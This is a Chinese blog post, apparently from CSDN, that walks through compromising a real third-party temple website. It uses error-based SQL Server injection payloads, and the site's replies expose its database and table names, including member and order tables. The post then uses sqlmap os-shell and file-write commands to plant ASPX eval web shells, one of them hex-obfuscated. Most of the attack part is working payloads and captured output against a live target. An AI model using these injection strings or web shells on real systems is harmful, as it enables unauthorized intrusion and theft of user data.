牛掰!从sql注入到连接3389只需这几步

本文详细介绍了如何利用SQL注入漏洞,从获取数据库信息到执行系统命令,最终通过ms16-032漏洞实现系统提权并连接3389远程桌面。通过分析过程,展示了从数据库权限判断、获取数据库信息、上传ASP木马到执行提权命令的完整步骤,最后探讨了msf模块使用中遇到的问题和解决办法。
摘要由CSDN通过智能技术生成

从sql注入到连接3389

数据库为sqlserver

判断字符、数字型、闭合方式

Microsoft OLE DB Provider for SQL Server 错误 ‘80040e14’

遗漏字元字串 ’ AND 显示状态Flag = 1 ORDER BY 排序 DESC ’ 后面的引号。

D:\S_JCIN\WEBSITE\OUTWEB\L_CT\NEWS…/…/…/_sysadm/_Function/DB_Function.asp, 列158
数字型。

判断是否是DBA

and 1=(select is_srvrolemember(‘sysadmin’))
select is_srvrolemember(‘sysadmin’)
判断是否是站库分离

http://www.xxxx.com/xxx/News_content.asp?p0=264 and 1=convert(int,(select host_name()))–&Pageno=1
将 nvarchar 值 ‘RENHAI’ 转换成资料类型 int 时,转换失败。
http://www.renhai.org.tw//xxx//News_content.asp?p0=264 and 1=convert(int,(select @@servername))–&Pageno=1
将 nvarchar 值 ‘RENHAI’ 转换成资料类型 int 时,转换失败。
主机名和服务器名一样,不是站库分离。

报错注入

1=convert(int,(db_name())) #获取当前数据库名

1=convert(int,(@@version)) #获取数据库版本

1=convert(int,(select quotename(name) from master…sysdatabases FOR XML PATH(’’))) #一次性获取全部数据库

1=convert(int,(select ‘|’%2bname%2b’|’ from master…sysdatabases FOR XML PATH(’’))) #一次性获取全部数据库
获取数据库

http://www.xxxx.com/xxx/News_content.asp?p0=264 and 1=convert(int,(select ‘|’ name ‘|’ from master…sysdatabases FOR XML PATH(’’)))&Pageno=1
将 nvarchar 值 ‘|master||tempdb||model||msdb||RenHai||RenHai2012||Renhai_LightSite||RenhaiDevelop||RenHai2012_bak|’ 转换成资料类型 int 时,转换失败。
USER信息

and 1=(select IS_SRVROLEMEMBER(‘db_owner’)) #查看是否为db_owner权限、sysadmin、public (未测试成功)如果正确则正常,否则报错

1=convert(int,(user)) #查看连接数据库的用户
http://www.xxxx.com/xxx/News_content.asp?p0=264 and 1=(select IS_SRVROLEMEMBER(‘public’))–&Pageno=1
返回正常。

http://www.xxxx.com/xxx/News_content.asp?p0=264 and 1=(select IS_SRVROLEMEMBER(‘db_owner’))–&Pageno=1
可能是 BOF 或 EOF 的值为 True,或目前的资料录已被删除。所要求的操作需要目前的资料录。
http://www.xxxx.com/xxx/News_content.asp?p0=264 and 1=convert(int,(user))–&Pageno=1
将 nvarchar 值 ‘dbo’ 转换成资料类型 int 时,转换失败。
获取表名

http://www.xxxx.com/xxx/News_content.asp?p0=264 and 1=convert(int,(select quotename(name) from RenHai…sysobjects where xtype=‘U’ FOR XML PATH(’’)))&Pageno=1
将nvarchar 值’[参数表][_WebVisitData][活动相簿主档][活动相簿分类][活动相簿内容][comd_list][D99_CMD][D99_Tmp][comdlist][jiaozhu][职称][订单明细暂存档][会员资料表][订单主档][订单明细档][登入纪录档][产品资料表][sysdiagrams][网站流量][系统设定档][sqlmapoutput][订单暂存档][流水号资料表][订单分类档][单位][订单状态档][太岁表][点灯位置资料表][性别表][庙宇资料表][一般分类][人员][公司基本资料] [人员权限][单位权限][权限][新闻][程式][dtproperties]’ 转换成资料类型int 时,转换失败。
获取列名

获取注入点的表中的列名

http://www.xxxx.com/xxx/News_content.asp?p0=264 having 1=1 --&Pageno=1
资料行 ‘新闻.流水号’ 在选取清单中无效,因为它并未包含在汇总函式或 GROUP BY 子句中。
获取任意表中的列名

http://www.xxxx.com/xxx/News_content.asp?p0=264 and 1=convert(int,(select * from RenHai…comd_list where id=(select max(id) from test…sysobjects where xtype=‘u’ and name=‘comd_list’)))&Pageno=1
获取数据

获取shell

判断权限

http://www.xxxx.com/xxx/News_content.asp?p0=264%20and%201=(select%20is_srvrolemember(%27sysadmin%27))–&Pageno=1
返回正常

sqlmap一把梭。

➜ ~ sqlmap -u “http://www.xxxx.com/xxx/News_content.asp?p0=264&Pageno=1” -p p0 --os-shell
根据之前爆出的路径,尝试写入shell。

D:/S_JCIN/WEBSITE/xxx/
os-shell> echo ‘<% @Page Language=“Jscript”%><%eval(Request.Item[“pass”],“unsafe”);%>’>D:/S_JCIN/WEBSITE/xxx/steady2.aspx
回显太慢。

os-shell> echo ‘<% @Page Language=“Jscript”%><%eval(Request.Item[“pass”],“unsafe”);%>’>D:/S_JCIN/WEBSITE/xxx/steady2.aspx
do you want to retrieve the command standard output? [Y/n/a] y
[14:13:34] [WARNING] in case of continuous data retrieval problems you are advised to try a switch ‘–no-cast’ or switch ‘–hex’
[14:13:34] [WARNING] running in a single-thread mode. Please consider usage of option ‘–threads’ for faster data retrieval
[14:13:34] [INFO] retrieved:
[14:13:35] [WARNING] time-based comparison requires larger statistical model, please wait… (done)
[14:13:43] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option ‘–time-sec’)? [Y/n] y
2
[14:13:58] [INFO] retrieved:
[14:13:59] [WARNING] (case) time-based comparison requires reset of statistical model, please wait… (done)
[14:14:14] [INFO] adjusting time delay to 2 seconds due to good response times

直接尝试sqlmap的–file选项

➜ ~ sqlmap -u “http://www.xxxx.com/xxx/News_content.asp?p0=264&Pageno=1” --file-write="/Users/apple/Downloads/漏洞盒子/shell/apsx马/asp小马/2.aspx" --file-dest=“D:/S_JCIN/WEBSITE/xxx/steady123.aspx”
使用os-shell命令,查看是否上传上去。

os-shell> dir D:\S_JCIN\WEBSITE\OUTWEB\L_CT\NEWS
2020/11/17 上午 09:08 9 shell.aspx
2014/12/17 下午 05:40 277 sidebar.asp
2020/11/17 上午 10:55 116 steady.aspx
2020/11/17 上午 10:56 116 steady.txt
2020/11/17 上午 11:24 8 steady1.txt
2020/11/17 下午 02:28 116 steady123.aspx
查看马是否连接成功

os-shell> type D:\S_JCIN\WEBSITE\OUTWEB\L_CT\NEWS\steady123.aspx
do you want to retrieve the command standard output? [Y/n/a] y
[14:36:13] [INFO] retrieved: ‘<%@PAGE LANGUAGE=JSCRIPT%>’
[14:36:13] [INFO] retrieved: ‘<%var PAY:String=Request["\x61\x62\x63\x64"];’
[14:36:13] [INFO] retrieved: ‘eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");’
[14:36:14] [INFO] retrieved: ‘%>’
command

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值